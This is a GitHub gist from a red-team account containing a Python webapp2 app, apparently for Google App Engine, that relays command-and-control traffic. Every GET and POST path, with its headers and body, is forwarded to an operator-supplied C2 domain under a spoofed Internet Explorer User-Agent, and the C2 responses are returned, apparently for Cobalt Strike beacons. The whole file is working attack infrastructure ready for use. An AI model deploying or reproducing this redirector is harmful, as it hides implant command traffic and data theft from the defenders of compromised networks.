Skip to content

Instantly share code, notes, and snippets.

@redteam-cyberark
Last active August 3, 2021 07:28
Show Gist options
  • Select an option

  • Save redteam-cyberark/90fe4a3bc0caa582fc563ec503e5444c to your computer and use it in GitHub Desktop.

Select an option

Save redteam-cyberark/90fe4a3bc0caa582fc563ec503e5444c to your computer and use it in GitHub Desktop.

Revisions

  1. redteam-cyberark renamed this gist Jul 5, 2017. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. redteam-cyberark created this gist Jul 5, 2017.
    50 changes: 50 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,50 @@
    import logging
    import urllib

    import webapp2
    import urllib2

    # v1.0.1 - updated to support POST request

    # change to your IP
    redirector = "(insert you C2 domain here)"

    class CommandControl(webapp2.RequestHandler):
    def get(self, data):
    url = 'https://'+redirector+'/'+str(data)
    try:
    req = urllib2.Request(url)
    req.add_header('User-Agent',"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
    for key, value in self.request.headers.iteritems():
    req.add_header(str(key), str(value))

    resp = urllib2.urlopen(req)
    content = resp.read()

    self.response.write(content)
    except urllib2.URLError:
    "Caught Exception, did nothing"

    # handle a POST request
    def post(self, data):
    url = 'https://'+redirector+'/'+str(data)
    try:
    req = urllib2.Request(url)
    req.add_header('User-Agent',"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
    for key, value in self.request.headers.iteritems():
    req.add_header(str(key), str(value))

    # this passes on the data from CB
    req.data = self.request.body

    resp = urllib2.urlopen(req)
    content = resp.read()

    self.response.write(content)
    except urllib2.URLError:
    "Caught Exception, did nothing"

    app = webapp2.WSGIApplication([
    (r"/(.+)", CommandControl)
    ], debug=True)